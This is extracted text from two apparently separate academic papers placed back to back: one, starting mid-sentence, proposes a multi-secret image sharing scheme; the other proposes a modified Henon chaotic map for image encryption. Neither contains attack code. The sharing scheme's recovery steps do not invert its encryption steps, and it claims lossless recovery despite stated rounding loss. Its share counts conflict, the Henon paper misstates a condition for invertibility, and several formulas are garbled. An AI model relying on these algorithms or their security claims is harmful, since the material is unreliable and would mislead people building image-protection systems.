with divisor as n+ 1. To truncate floating points into respective closest integers
we used round function as it takes nearest integer value and provide more precise
results than Ceil or Floor function. Key K is generated by using additive modulo
operation on temporary shares Ti, i = 1, 2, · · · , n. Finally, shared images Si,
i = 1, 2, · · · , n+ 1 are generated using additive modulo operation on temporary
shares Ti, i = 1, 2, · · · , n and key K. The encryption algorithm of proposed
(n, n)-MSIS scheme is given in Algorithm 1.

Algorithm 1. Proposed Encryption Technique

Input: Secret images {I1, I2 · · · In} of size r × c.
Output: Shared images {S1, S2 · · ·Sn} of size r × c.

1. Generate n temporary Shares {T1, T2 · · ·Tn}.
Ti = Round (Ii/(n + 1)) , where {i = 1, 2, · · · , n}

2. Generate Key K of size r × c
K = (T1 + T2 + · · · + Tn)mod 256

3. Generate n Shared images {S1, S2 · · ·Sn}
Si = (Ti + K)mod 256 where {i = 1, 2, · · · , n}

In recovery procedure we can recover n secret images iff we get all n shared
images. To recover key K by performing additive modulo operation on n shared
images Si, i = 1, 2, · · · , n. Temporary shares Ti, i = 1, 2, · · · , n are recov-
ered by performing multiplication on shared images Si, i = 1, 2, · · · , n by
(n + 1) and using modular operation. Recovered images Ri, i = 1, 2, · · · , n are
obtained by using additive inverse operation on temporary shared images Ti, i =
1, 2, · · · , n and key K. The decryption of proposed (n, n)-MSIS scheme is given in
Algorithm 2.

Algorithm 2. Proposed Decryption Technique

Input: Shared images {S1, S2 · · ·Sn} of size r × c.
Output: Recovered images {R1, R2 · · ·Rn} of size r × c.

1. Recover key K
K = (S1 + S2 + · · · + Sn)mod 256

2. Recover temporary shares
Ti = (Si × (n + 1))mod 256, where {i = 1, 2, · · · , n}

3. Recovered secret images{Ri, i = 1, 2, · · · , n}
Ri = (Ti −K)mod 256
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3.1 Increase Randomness of Shared Images

Proposed scheme reveals partial secret information from shared images as shown
in Fig. 1. To increase the randomness of shared images we used Bitshift and
Reversebit operation. Bitshift operation is performed on each shared images.
Bitshift(S(i, j),mod((i+ j), 8)) function is used to circularly shift (i+ j)mod8
bits in a pixel S(i, j) where i and j are positions in the image. If pixel value of
shared image of position S(50, 75) is 80, first it calculates how many bits to be
shifted using (50 + 75)mod8 = 5. In second step perform Bitshift operation on
pixel value 80 using Bitshift(80, 5) it shift 5 bits to left circularly i.e. 10. Each
pixel in shared image is represented by 8 bits so we are taking mod value as 8.
Bitshift increases the randomness of shares upto some extend but still shared
image reveals some partial secret information as shown in Fig. 2. To overcome
this problem we used Reversebit operation, it reverse the bits of a pixel value.
If pixel value is 148 then binary value of 148 is 10010100. After applying reverse
bit operation on pixel value 148 then a reverse value is 00101001 i.e. 41. The
shares are not revealing secret information as shown in Fig. 3.

4 Experimental Results and Discussions

In this section, experimental results of proposed (n, n)-MSIS schemes are shown.
The experiments are performed for grayscale images. Proposed scheme also works
for binary and colored image. For binary image modulus value should be updated
as 2. Experimental results are performed on Intel(R) Core(TM) i5-4590S, 3.0 Ghz
processor, 4 GB RAM machine using MATLAB 13. All images are of dimension
512 × 512 pixel.

The experimental results of proposed (n, n)-MSIS scheme for grayscale
images are shown in Fig. 1. Secrets images I1, I2, I3, I4, I5 are shown in Fig. 1(a-
e) respectively. Figure 1(f-j) shows shared images S1, S2, S3, S4, S5 respectively.
Each share reveals partial information of secret images. Figure 1(k-o) shows
recovered images R1, R2, R3, R4, R5 which are similar to the secret images.

To increase the randomness of shared images we used Bitshift function. The
experimental results of proposed (n, n)-MSIS scheme using Bitshift for grayscale
images are shown in Fig. 2. Secret images I1, I2, I3, I4, I5 are shown in Fig. 2(a-
e) respectively. Figure 2(f-j) shows shared images S1, S2, S3, S4, S5 respectively.
Each share reveals some partial information of secret images. Figure 2(k-o) shows
recovered images R1, R2, R3, R4, R5 which are similar to the secret images.

The Bitshift function also reveals some secret information so to overcome
this problem we used Reversebit function. The experimental results of proposed
(n, n)-MSIS scheme using Reversebit for grayscale images are shown in Fig. 3.
Secret images I1, I2, I3, I4, I5 are shown in Fig. 3(a-e) respectively. Figure 3(f-
j) shows shared images S1, S2, S3, S4, S5 respectively. No share individually
reveals any information of secret images. Figure 3(k-o) shows recovered images
R1, R2, R3, R4, R5 which are similar to the secret images.
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(a) I1 (b) I2 (c) I3 (d) I4 (e) I5

(f) S1 (g) S2 (h) S3 (i) S4 (j) S5

(k) R1 (l) R2 (m) R3 (n) R4 (o) R5

Fig. 1. Result of proposed (n, n)-MSIS scheme for grayscale images with n = 5: (a-e)
Secret images (I1, I2, I3, I4, I5). (f-j) Shared images (S1, S2, S3, S4, S5). (k-o) Recovered
images (R1, R2, R3, R4, R5.)

4.1 Similarity Measures

Similarity between secret and recovered images of proposed (n, n)-MSIS scheme
is done using Correlation, MSE, and PSNR.

– Correlation: The correlation value lies between +1 and −1, +1 indicate
that the two compared images are same, −1 indicate that both of them are
opposite to each other and 0 if both are uncorrelated. Correlation is given as

Correlation =
N

∑
XY − (

∑
X)(

∑
Y )

√
(N

∑
X2 − (

∑
X)2)(N

∑
Y 2 − (

∑
Y )2)

(1)

Where N is number of pairs, X is first image and Y is second image.
– MSE: MSE is the mean squared error between the secret image X and the

recovered image Y . MSE value tells the difference between two images. MSE
is given as

MSE =
1

m × n

m∑

x=1

n∑

y=1

(X(x, y) − Y (x, y))2 (2)

– PSNR: PSNR calculates the quality of the recovered images. The higher the
PSNR better the quality and vice versa. The PSNR is given as:
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(a) I1 (b) I2 (c) I3 (d) I4 (e) I5

(f) S1 (g) S2 (h) S3 (i) S4 (j) S5

(k) R1 (l) R2 (m) R3 (n) R4 (o) R5

Fig. 2. Result of proposed (n, n)-MSIS scheme using Bitshift for grayscale images with
n = 5: (a-e) Secret images (I1, I2, I3, I4, I5). (f-j) Shared images (S1, S2, S3, S4, S5).
(k-o) Recovered images (R1, R2, R3, R4, R5.)

PSNR(dB) = 20 log10
255√
MSE

(3)

where, 255 is the highest pixel value in grayscale and colored images.

The similarity between secret and recovered images are shown in Table 1.
I1, I2, I3, I4, I5 are secret images and R1, R2, R3, R4, R5 are recovered images.
Correlation value almost near to 1 and MSE near to 0 and PSNR value is large
which means both secret are recovered images almost same. Only some bits are
lost in recovered images because of round function, it truncates the floating point
values.

The randomness of shared images with secret images using Correlation are
shown in Table 2. I1, I2, I3, I4, I5 are secret images and S1, S2, S3, S4, S5 are
shared images. Correlation value of secret and shared image is almost 0 which
means each share not reveals the secret information. The correlation value of
proposed scheme is almost 0 which represents proposed scheme is more secure
than [4,18].

The randomness of shared images with secret images using MSE are shown in
Table 3. I1, I2, I3, I4, I5 are secret images and S1, S2, S3, S4, S5 are shared images.
Large value of MSE represents shares are not revealing information. MSE value
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(a) I1 (b) I2 (c) I3 (d) I4 (e) I5

(f) S1 (g) S2 (h) S3 (i) S4 (j) S5

(k) R1 (l) R2 (m) R3 (n) R4 (o) R5

Fig. 3. Result of proposed (n, n)-MSIS scheme using Reversebit for grayscale images
with n = 5: (a-e) Secret images (I1, I2, I3, I4, I5). (f-j) Shared images (S1, S2, S3, S4, S5).
(k-o) Recovered images (R1, R2, R3, R4, R5.)

Table 1. Matching between secret and recovered images

Secret and recovered Correlation MSE PSNR

I1, R1 0.9993 0.83 48.99

I2, R2 0.9994 0.83 48.99

I3, R3 0.9993 0.84 48.92

I4, R4 0.9995 0.83 48.99

I5, R5 0.9997 0.83 48.96

Table 2. Comparison between secret and shared images using Correlation

Secret and shared image [4] [18] Proposed

I1, S1 0.0063 0.0101 0.0015

I2, S2 0.0168 0.2390 0.0088

I3, S3 0.0142 0.2022 0.0038

I4, S4 0.0087 0.1942 0.0071

I5, S5 0.0023 0.2502 0.0060
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Table 3. Comparison between secret and shared images using MSE

Secret and shared image [4] [18] Proposed

I1, S1 122.21 131.46 7923.11

I2, S2 104.45 122.78 7837.20

I3, S3 141.71 145.14 8034.81

I4, S4 103.70 111.58 8606.72

I5, S5 114.49 122.02 9816.58

of secret and shared image of proposed scheme is more than 7800 which is far
more than [4,18].

The randomness of shared images with secret images using PSNR are shown
in Table 4. I1, I2, I3, I4, I5 are secret images and S1, S2, S3, S4, S5 are shared
images. PSNR value of secret and shared images is less than [4,18] which means
each share not reveals the secret information.

Table 4. Comparison between secret and shared images using PSNR

Secret and shared Image [4] [18] Proposed

I1, S1 27.29 26.98 9.18

I2, S2 27.98 27.27 9.22

I3, S3 26.65 26.55 9.12

I4, S4 28.01 27.69 8.82

I5, S5 27.58 27.30 8.25

The similarity between shared images are calculated using Correlation, MSE,
and PSNR. The shared images are S1, S2, S3, S4, S5 and all the combinations
of these shares are, (S1, S2), (S1, S3), (S1, S4), (S1, S5), (S2, S3), (S2, S4), (S2, S5),
(S3, S4), (S3, S5), (S4, S5). The Correlation, MSE, and PSNR values of proposed
scheme using Reversebit is shown in Tables 5, 6, 7 respectively. The Correlation,
MSE, and PSNR values of proposed scheme is better than [4,18].

The comparison of existing schemes and proposed (n, n)-MSIS scheme is
shown in Table 8. The computation time of proposed (n, n)-MSIS scheme for
grayscale secret image is minimum compare to existing schemes [4,6,18] shown
in Table 8. As we increase no of secret images i.e. (value of n) time required for
execution also increase both for color and grayscale images. Computation time
for colored image is more than binary and grayscale image because increase in
number of bits. Time complexity of proposed scheme is directly proportional
to the number of secret images, color depth and dimension of secret image.
In proposed (n, n)-MSIS scheme, n secrets are used to create shares and all
the shares are required to recover the secrets. The dimension of secret, shared,
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Table 5. Comparison between shared images using Correlation.

Shared images [4] [18] Proposed

S1, S2 0.0115 0.0955 0.0031

S1, S3 0.0110 0.0078 0.0021

S1, S4 0.0236 0.0627 0.0027

S1, S5 0.0512 0.0962 0.0006

S2, S3 0.0024 0.0264 0.0009

S2, S4 0.0343 0.1054 0.0034

S2, S5 0.0064 0.0605 0.0013

S3, S4 0.0363 0.0451 0.0006

S3, S5 0.0006 0.0004 0.0030

S4, S5 0.0714 0.0937 0.0040

Table 6. Comparison between shared images using MSE

Shared images [4] [18] Proposed

S1, S2 115.62 120.31 117.53

S1, S3 115.35 118.18 117.38

S1, S4 114.76 116.17 117.84

S1, S5 115.10 126.34 117.44

S2, S3 113.80 112.95 118.10

S2, S4 111.67 108.94 117.94

S2, S5 114.79 120.64 118.14

S3, S4 111.07 112.90 117.86

S3, S5 114.90 119.27 117.55

S4, S5 116.53 121.40 117.67

Table 7. Comparison between shared images using PSNR

Shared images [4] [18] Proposed

S1, S2 27.53 27.36 27.46

S1, S3 27.54 27.44 27.47

S1, S4 27.57 27.51 27.45

S1, S5 27.55 27.15 27.47

S2, S3 27.60 27.64 27.44

S2, S4 27.69 27.79 27.45

S2, S5 27.57 27.35 27.44

S3, S4 27.71 27.64 27.45

S3, S5 27.56 27.40 27.46

S4, S5 27.50 27.32 27.46
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Table 8. Comparison of existing and proposed (n, n)-MSS schemes

[6] [4] [18] Proposed

Time (s) 0.120 2.000 0.110 0.080

Secret images n n n n

Shared images n + 1 n n n

Pixel expansion No No No No

Recovery type Lossless Lossless Lossless Lossless

Reveals secrets Partial Partial Partial No

Randomness Low Low Average High

Recovery strategy XOR XOR XOR Modulo operation

Image type Gray Gray Gray Binary, Gray, Color

Sharing capacity n/n + 1 n/n n/n n/n

and recovered image is same, there is no pixel expansion. In proposed scheme
the recovered and secret images are same i.e. Lossless recovery. To get secret
information all n shares are required. The proposed scheme using Reversebit,
all shares are random and not reveal any partial secret information. Proposed
scheme uses Modulo, Bitshift, and Reverse bit operation for sharing and recov-
ery of secrets. Proposed scheme works well for Binary, Grayscale, and Colored
images. Sharing capacity is defined as the number of secrets divided by shared
images. The sharing capacity of proposed schemes is n/n.

4.2 Attacks on Shared Images

Proposed scheme using Reversebit operation do not reveal any information of
secret image as shown in Fig. 3. If some bits are changed in any one of the shared
images then we cannot recover some secrets or we can recover partial secrets. As
more number of bits changes then it’s very difficult to recover any secrets. The
proposed scheme is invariant to rotation if all shares are rotated with same angle,
invariant to scaling if all shares scaling is same and invariant to translation if all
shares translation is same. Attacker can’t recover secrets till he gets all n shared
images. It is impossible for attacker to recover secrets from less than n shares
because each shared image is a combination of secret images.

5 Conclusion

In this paper, we overcome the flaw in [4,6,7,18] MSIS schemes. Proposed scheme
uses modulo operation which is faster than XOR operation and shows better
results in terms of security. To increase the randomness of shared images pro-
posed scheme uses Bitshift and Reversebit operation. Each share is a combina-
tion of all secret images therefore attacker can’t guess secrets until he gets all n
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shared images. Similarity measures like Correlation, MSE and PSNR are used
to check the similarity between secret and recovered images and also to check
the randomness in shared images. Proposed scheme performs better in terms of
security.

5.1 Future Work

In future work, reduce number of shared images (< n) so that time as well as
space complexity reduces. Proposed scheme do not work if secret images are of
different dimension so in future work MSIS scheme will not have any dependency
on the dimension of secret images.
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Abstract. The dynamic properties of chaos based algorithm such as
large key space, high sensitivity to initial conditions/system parameters,
erratic behavior, ergodicity and simplicity make it a novel and an efficient
way of evolving chaotic maps that can meet the security requirements.
They also exhibit broad array of chaotic regime over a range that can be
further enhanced by modifying these maps. In this paper, Henon chaotic
map is modified and dynamic behavior of this map is being analyzed
through Bifurcation diagram and Lyapunov exponent. The simulation
results illustrate that the map has a chaotic regime over an extensive
range of system parameters. One of the cryptographic applications of
this map in image encryption for different test images is considered.
Further, the encryption capability of the algorithm is verified through
security analysis.

Keywords: Chaos · Bifurcation diagram · Lyapunov exponent · Image
encryption · Sine map

1 Introduction

Security plays a significant role in multimedia communication. Encryption is
one of the ways of providing the security requirements used in data storage
and transmission. Conventional encryption methods like Data Encryption Stan-
dard (DES), International Data Encryption Algorithm (IDEA) and Advanced
Encryption Standard (AES) are not appropriate for image encryption owing to
slow speed, complexity, data size, high degree of redundancy among the pixels
[1]. In order to overcome this difficulty, many new encryption techniques have
been put forward to ensure secure communication. The dynamic properties such
as high sensitivity to initial conditions/system parameters, erratic behavior, high
security and simplicity make chaos based algorithms a novel and an efficient way
of providing secured multimedia encryption among all encryption techniques [2].

Many researchers have identified the dynamic and disordered behavior of the
chaotic system in iterated functions which are called as maps. These maps can
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be characterized either by discrete time or continuous time domains. Some of
them utilize various one and two dimensional chaotic maps in the development of
security system because of their exceptional features, fast encryption speed and
simple structures. Modification of the existing chaotic maps thereby identifying
and improving the chaotic region is one of the exciting fields in the dynamical
systems theory. Several image encryption algorithms based on one dimensional
chaotic map such as Logistic map [3], sine and tent map [4] have been proposed.
In [5], it has been suggested that one dimensional chaotic map cannot be used for
encryption of images because of small key space and weak security. It is evident
that these drawbacks can be eliminated by employing two logistic maps of one
dimensional [6].

Further, security can be enhanced by increasing the dimension which in turn
increases the nonlinearity. The higher dimension chaotic systems are widely used
in multimedia encryption owing to tough prediction of a time series and more
numbers of positive Lyapunov exponents. The Lyapunov exponent characterizes
and quantifies the sustained chaotic behavior. Furthermore, in higher dimension
chaotic system, the primitive operations of the encryption such as confusion and
diffusion can be performed in multiple directions and helps to decorrelate the
relation between the pixels quickly [7]. French mathematician and astronomer
Michel Henon in 1976 [8] proposed a two dimensional map called Henon map.
This map is chaotic with quadratic nonlinearity which is simple to implement and
easily accords itself to numerical explorations. A two dimensional Henon map
is used in chaos based block image encryption as image is a two dimensional
array of pixels [9]. With this background, Henon map is modified in order to
increase the chaotic regime which in turn enhances the security. In this paper,
the modified Henon map is evaluated in detail through analytical study and used
in image encryption.

This paper is structured in the following way. The summary of the related
work is presented in Sect. 2. The mathematical background required to modify
the Henon map and dynamic behavior of the map along with simulation results
are outlined in Sect. 3. Some of the special properties and usage of the chaotic
map in image encryption are provided in Sect. 4. The results of the security
analysis are presented in Sect. 5. The conclusion is given in Sect. 6.

2 Related Work

The brief summary of the related work in image encryption is presented in this
section. Generally, the two primitive operations such as confusion and diffusion
are employed in chaos based image encryption scheme. The strong correlation
between adjoining pixels is decreased by using confusion operation. In the dif-
fusion stage, the pixel values are changed thereby obtaining the unified effect
across the entire image. The satisfactory level of security can be obtained by
repeating these operations for a number of times.

In [2], the authors have proposed a new image encryption scheme based
on piecewise linear chaotic map. The plain image is converted into two binary
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sequences of same size by the cryptosystem. The diffusion is achieved by using
mutual diffusion of the two sequences where as in the confusion stage the binary
elements of the two sequences are swapped by the control of a chaotic map. A
new cryptosystem proposed in [10] makes use of two perturbed piecewise linear
chaotic map and xor operation. The chaotic stream is generated by combining
the results of the two perturbed piecewise linear chaotic maps through xor oper-
ation. The resulting chaotic stream and the plaintext is xored in order obtain
ciphertext. A chaotic image encryption algorithm based on logistic map and xor
operation is presented in [11]. The xor operation is used to confuse the pixel
values. The encrypted image is obtained by pixel shuffling. Chua chaotic sys-
tem based image cryptosystem is presented in [12]. The cryptosystem employs
indexing and shuffling mechanism for encryption. In [13], an image encryption
scheme based on Chebyshev generator is proposed which uses two pseudoran-
dom sequences for permutation. These are combined with a two dimensional
Chebyshev function in the diffusion stage. An image encryption scheme based
on generalized Arnold map, permutation and diffusion is presented in [14]. The
stronger correlation between the adjacent pixels is reduced by using total circular
function. The diffusion is achieved by using double diffusion functions.

Several image encryption schemes presented in the literature have their self
strengths and drawbacks. In this paper, the performance of the modified Henon
map in image encryption is considered. The modified Henon map based cryp-
tosystem is resistant against several attacks and reduces the correlation among
pixels when compared with other algorithms presented in the literature.

3 Mathematical Background

Let us consider a discrete dynamical system with K-dimension. Its iterative map
f : RK → RK is of the form

xk+1 = f(xk) (1)

where k = 0, 1, 2 . . . represents the discrete time and xk ∈ RK represents the
state. A function f : R2 → R2 is called as map in R2. Henon map is simplest
invertible map in R2 given by

xk+1 = 1 − b1x
2
k + b2yk

yk+1 = xk

(2)

Here (xk, yk) represents the two dimensional state of the system. The system
parameters b1 and b2 yield the chaotic attractor for a range of values. In order
to obtain fine structure of the chaotic attractor, the system parameters should
not be too large or too small. Attractor doesn’t exist, if b1 is too small or too
large. The area of contraction will be excessive, if b2 is too close to zero. On
the other hand, the folding won’t be strong enough if it is too large. The fine
structure of the chaotic attractor can be obtained by selecting b1 and b2 as 1.4
and 0.3 respectively [8]. Henon procedure allows modifying the two parameters b1

and b2 to obtain other chaotic attractors. The bounded solution can be obtained
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by selecting the proper nonlinear term and system parameters. Henon map has
bounded solution for the parameter values −1 < b1 < 2 and |b2| < 1 and chaotic
attractors can be obtained over some range of values. This has application in
secure communication [9].

The modified Henon map is given by

H (xk, yk) =
(

xk+1

yk+1

)

=
(

1 − b1cos(xk) − b2yk
−xk

)

(3)

In the original Henon map, x2
k term is replaced by the nonlinear term cos(xk)

and b2 �= 0. For modified Henon map, the bounded solutions will be obtained for
all values of b1 and |b2| < 1. A wide chaotic range can be obtained by selecting
one of the system parameters b2 = 0.3.

Remarks:

1. The map H (xk, yk) is an invertible map on R2 unless b2 �= 0.
2. The Jacobian matrix of the modified Henon map is given by Df(xk, yk) =(

b1sinxk −b2

−1 0

)

with detDf(xk, yk) = −b2 for all xk, yk ∈ R2 and for fixed

numbers b1 and b2. The Eigen values are given by

λ =
b1sin (xk) ± b1sin (xk)

√
1 + 4b2

b21sin
2(xk)

2
(4)

Eigen values are real if
√

1 + 4b2
b21sin

2(xk)
≥ 0

3. The volume of the phase space shrinks as time evolves since the determinant
of the Jacobian matrix of this map is −b2 < 0, so the map is dissipative [15].

3.1 Dynamical Behavior with Parameter Variation

In this subsection, the dynamical behavior of system with parameter variation
of the original Henon map as well as modified Henon map is investigated and
compared. In order to use the chaotic map in a specific application, it is neces-
sary to know the chaotic region which needs the investigation of the dynamic
behavior. The dynamic behavior of the discrete map changes suddenly from fixed
and periodic points to chaotic behavior in many ways. This is evidenced through
bifurcation diagram and largest Lyapunov exponent which helps to find chaotic
region which in turn determines the fixed and periodic points. The bifurcation
diagram and Lyapunov exponent (LE) of original Henon map are plotted by
varying system parameter in the interval 0 ≤ b1 ≤ 5 with state variable (x) for
the case b2 = 0.3 is shown in Fig. 1(a). For modified Henon map, these diagrams
are drawn over same range which is depicted in Fig. 1(b). At b1 = 1.5, period-two
orbit occurs when the fixed point becomes null and void. Till b1 = 2.0537, the
period-two orbit is a sink and subsequently, it doubles its period. The attractor of
modified Henon map becomes more complex, for b1 = 2.0537 and b2 = 0.3. When
period-two orbit becomes unstable, immediately appears period-four orbit, then
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a period-eight orbit etc. in the interval 2.0537 ≤ b1 ≤ 2.19. The map converges to
a chaotic attractor, in the interval 2.19 ≤ b1 ≤ 2.5. For 2.5 ≤ b1 ≤ 2.54 the map
converges to a fixed point. The map becomes chaotic for b1 > 2.54. Figure 2(a)
demonstrates the period-six sink at b1 = 2.53, barely detectable as a white gap
in Fig. 1(b). Two-piece attractor can be obtained by using b1 = 2.25, which
is presented in Fig. 2(b). The two-piece attractor merges to form single piece
attractor at b1 = 2.3, as shown in Fig. 2(c). In order to exhibit multifold attrac-
tors, modified Henon map undergoes period-doubling bifurcation which is shown
in Fig. 2(d). Although, the original Henon map enters into the chaotic region via
periodic-doubling bifurcation cascade, it doesn’t have multifold attractors. It
is clear from the phase portraits that appropriate choice of system parameters
result in multifold chaotic attractor [15]. The region of fixed points and chaotic
regime of the modified Henon map are summarized in Table 1.

3.2 Comparison of Chaotic Range

The Bifurcation diagram and Lypunov exponent over the same range are used
to compare the chaotic range of Henon map and modified Henon map which
are presented in Fig. 1(a) and (b). From the diagram, it is clear that Henon
map is chaotic for the range of b1 ∈ [1.05, 1.4] whereas modified Henon map is
chaotic for the range of b1 ∈ [2.2, 5] in the interval 0 ≤ b1 ≤ 5. In this interval,
Henon map and modified Henon map has chaotic range ratio of 7% and 56%
respectively. Hence, the modified Henon map has wide application in multimedia
encryption as the chaotic range has been increased from 7% to 56%.

3.3 Lyapunov Exponents and Dimension

The map is said to be chaotic if one of the Lyapunov exponents is positive and
negative exponent magnitude should be greater than positive one [15]. Further, in
case of two dimensional map, LE1 > 0 > LE2 and LE1+LE2 < 0. The Lyapunov
Exponents of the map are given by LE1 = 0.589059 and LE2 = −1.793032
for b1 = 3 and b2 = 0.3. The corresponding Lyapunov dimension is given by
DL = 1.3285.

4 Randomness Test and Cryptographic Application of
the Map

In this section, several prominent features of the chaotic map such as sensitive
dependence on initial conditions/system parameters, erratic behavior, autocorre-
lation and cross correlation properties are illustrated through simulation results.

4.1 Sensitivity to Initial Condition

The chaotic behavior of state variables with respect to change in system para-
meter is shown in Fig. 3(a). The sensitivity of the map to infinitesimal changes
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Fig. 1. (a) Bifurcation diagram and Lyapunov Exponent of the Henon map for the
system parameter (b2 = 0.3). (b) Bifurcation diagram and Lyapunov Exponent of the
modified Henon map for the system parameter (b2 = 0.3).

Fig. 2. Chaotic attractors of the modified Henon map for b2 = 0.3 (a) b1 = 2.53,
period-6 sink. (b) b1 = 2.25, two-piece attractor. (c) b1 = 2.3, one piece attractor. (d)
b1 = 6, multifold attractor.

of the initial conditions is illustrated in Fig. 3(b). From both the figures it is
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Table 1. Different regions in the bifurcation diagram of the map.

b1 b2 Nature of the dynamic behavior

0 ≤ b1 ≤ 1.5 0.3 Fixed point

1.5 ≤ b1 ≤ 2.19 0.3 Period-doubling cascade

2.19 ≤ b1 ≤ 2.5 0.3 Chaotic Attractor

2.5 ≤ b1 ≤ 2.54 0.3 Fixed point

b1 > 2.54 0.3 Chaotic Range

clear that the orbits have a completely erratic behavior, showing divergence by
an exponential law in time. Hence, the basic cryptographic requirements such as
confusion and diffusion are satisfied by this property [16].

4.2 Autocorrelation

A pseudorandom sequence should satisfy Golomb postulates such as uniform
distribution, autocorrelation should be like delta function and cross correla-
tion between the sequences should be zero. The autocorrelation function mea-
sures randomness of the generated pseudorandom sequence. The auto correla-
tion properties of chaotic sequences look like delta function which resembles
white noise [16]. Figure 4(a) shows the autocorrelation function of the gener-
ated pseudorandom sequence and cross correlation between the two sequences
is shown in Fig. 4(b) which is approximately zero means that the two pseudo-
random sequences are mutually independent. Hence, it is possible to encrypt
plaintext one at a time using the pseudorandom sequences generated from the
chaotic map.

4.3 Application of the Map in Image Encryption

One of the potential applications of the chaotic map is in secured image encryp-
tion which is taken as case study in this paper. The encryption process can be
split into three phases: Shuffling the original image, Scanning the shuffled image
and XOR operation.
Step 1: The sine map (SM) is used to shuffle the original image which is defined
as [4]

zn+1 = rsin (πzn) (5)

where r represents the system parameter and z ∈ [0, 1]. The research result shows
that chaotic behavior can be obtained when r > 0. The shifting and modulus
operations are used to confuse the value of the pixel.
Step 2: The pixel position is changed by using scanning mechanism. In the shuf-
fled image the pixel values are read spirally which is shown in Fig. 5(a).
Step 3: The scanned image is XORed bitwise with the key generated from mod-
ified Henon map which could increase the efficiency [13].
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Fig. 3. (a) Sensibility of the map to changes in the initial conditions for x = 0.01,
x = 0.1. (b) Orbit diagrams of the map with respect to change control parameter for
b1 = 3.9, b1 = 4.9.

Figure 5(b) shows the complete encryption process. The plain, ciphered and
the corresponding decrypted images are shown in Fig. 6.

5 Security Analysis

In this section, the performance of the encryption algorithm is evaluated by using
some of the statistical tests such as histograms of the plain and encrypted images,
the correlation coefficient among different pixels in different directions, Number
of pixels change rate (NPCR) of the ciphered image, Unified average change
intensity (UACI), Universal image quality index (UIQ), Structural similarity
index measure (SSIM) etc.

5.1 Histogram Analysis

The histogram analysis qualitatively evaluates any encryption algorithm.
Figure 7 shows the histograms of several plain images and corresponding cipher
images. It has been observed that statistical resemblance between the plain image
and cipher image is very less as the pixels of ciphered image are distributed evenly
which is different from that of the original image. Hence, the algorithm resists
against the known-plaintext attack.
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Fig. 4. (a) The autocorrelation function of x sequence. (b) The cross correlation
between x and y sequence.

Fig. 5. (a) Spiral scan. (b) Block diagram of image encryption scheme.

5.2 Correlation Coefficient Analysis

In this subsection, the correlations among adjacent pixels in various plain images
and corresponding ciphered images in different directions have been analyzed.
The correlation distribution of the plain image and ciphered image in horizontal,
vertical and diagonal directions is shown in Fig. 8. The correlation coefficients
for different images in different directions are tabulated in Table 2. It has been
observed that there is a high correlation among neighboring pixels in the plain
image where as low correlation in the ciphered image. The correlation coefficient
of this method is less when compared with the existing methods [2,10–14] which
are tabulated in Table 3. Hence, the proposed method is robust against statistical
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Fig. 6. (a) Plain images. (b) Encrypted images. (c) Decrypted images.

attacks. By employing the complex shuffling process, the correlation coefficient
along different directions can be further improved. The correlation coefficient
rxy is calculated [10] using Eq. (6).

E (x) = 1
T

∑i=T
i=1 xi

D (x) = 1
T

∑i=T
i=1 (xi − E (xi))

2

cov (x, y) = 1
T

∑i=T
i=1 (xi − E (xi)) (yi − E (yi))

rxy = cov(x,y)√
D(x)D(y)

⎫
⎪⎪⎪⎬

⎪⎪⎪⎭

(6)

The grayscale values of two adjacent pixels of the image are represented by
x and y, E(x) is the mean value, The mean deviation is represented by D(x),
cov(x, y) is the covariance between the pixels.

5.3 Differential Analysis

One of the desirable properties of any encryption algorithm is to offer resistance to
differential attack. NPCR and UACI are used to measure the difference between
original and ciphered image. NPCR measures the relational position gray level val-
ues between plain and encrypted image where as the UACI concentrates on mea-
suring average change in intensity between original image and cipher image [10].
The NPCR and UACI values for different images are given in Table 4, which indi-
cates the fact that the values are close to theoretical values. The higher NPCR
value offered by the proposed algorithm indicates that the pixel values are ran-
domized haphazardly. The comparison of this method with existing algorithms is
given in Table 5. NPCR and UACI values for Lena image using proposed method
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Table 2. Correlation coefficient and entropy of different images.

Image Horizontal Vertical Diagonal Entropy

Correlation coefficient

Plain Cipher Plain Cipher Plain Cipher Plain Cipher

Lena 0.9258 −0.0015 0.9593 0.0036 0.9037 0.0003054 7.9991 7.9959

Texture 0.9776 −0.0035 0.9784 −0.0073 0.9565 0.0116 7.6712 7.6287

Cameraman 0.9335 0.0009965 0.9592 0.000039367 0.9087 0.0024 7.9992 7.9593

Medical 0.9538 0.0031 0.9597 0.0096 0.9141 0.0015 7.9990 7.8096

is found to be 99.6338% and 28.7153% respectively. The proposed algorithm gives
better NPCR and UACI values when compared to techniques proposed in [11,12].
The proposed method can resist plaintext attack and differential attack effectively.
However, further improvement with respect to UACI values is expected, which can
be achieved using complex diffusion mechanisms.

5.4 Universal Image Quality Index and Structural Similarity Index:

UIQ and SSIM are the two parameters used to measure structural similarity
between two images whose value varies from −1 to 1 [17,18]. The greater simi-
larity between the images will be achieved when the value is closer to one. The
values of UIQ and SSIM for different images are given in Table 4. It can be
observed from the table that, there is no similarity between images as the values
are not close to one.

5.5 Information Entropy Analysis

The strength of any encryption algorithm is measured in terms of information
entropy which signifies the degree of randomness in the system [1]. For the 8 bit
message, suppose if there are 256 possible outcomes with equal probability then the
ideal value of entropy should be equal to 8. The entropy value of the good encryp-
tion algorithm should be close to ideal one which means that leakage of informa-
tion is negligible during encryption process. The information entropy of some of
the images along with their cipher images is given in Table 2, which is very close to
ideal value. The comparison of this algorithm with other algorithms with respect to
entropy is given in Table 5. From the table it is clear that the uncertainty of cipher-
text is higher in this method when compared with other algorithm proposed in [11].
Although, the proposed algorithm can resist entropy attacks, still there is a scope
for improvement with respect to entropy value. The improvements can be done
either by increasing the randomness of the keys generated from the chaotic maps
or using complex confusion and diffusion mechanisms [14].
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Table 3. Comparison of correlation coefficient for Lena Image.

Proposed method Ref. [2] Ref. [10] Ref. [11] Ref. [12] Ref. [13] Ref. [14]

Horizontal −0.0015 −0.0230 0.000407 −0.0564 −0.0050 −0.09736 0.07700

Vertical 0.0036 0.0019 0.006686 −0.0182 −0.0006 −0.07068 −0.07236

Diagonal 0.0003054 −0.0034 0.006096 −0.0653 −0.0025 0.04844 −0.06153

Table 4. Differential analysis.

Image NPCR% UACI% UIQ SSIM

Lena (256× 256) 99.6338 28.7153 0.8765 0.0112

Texture (204× 204× 3) 99.5651 34.7384 0.5445 0.0072

Cameraman (256× 256) 99.6155 31.2053 0.7611 0.0092

Medical (256× 256) 99.6399 37.2650 0.5065 0.0065

Table 5. Comparison of NPCR and UACI with other algorithms.

Proposed algorithm Ref. [10] Ref. [11] Ref. [12]

NPCR 99.6338 99.6277 99.6246 99.54

UACI 28.7153 32.5958 28.3321 28.27

Entropy 7.9959 NA 7.9666 7.9967

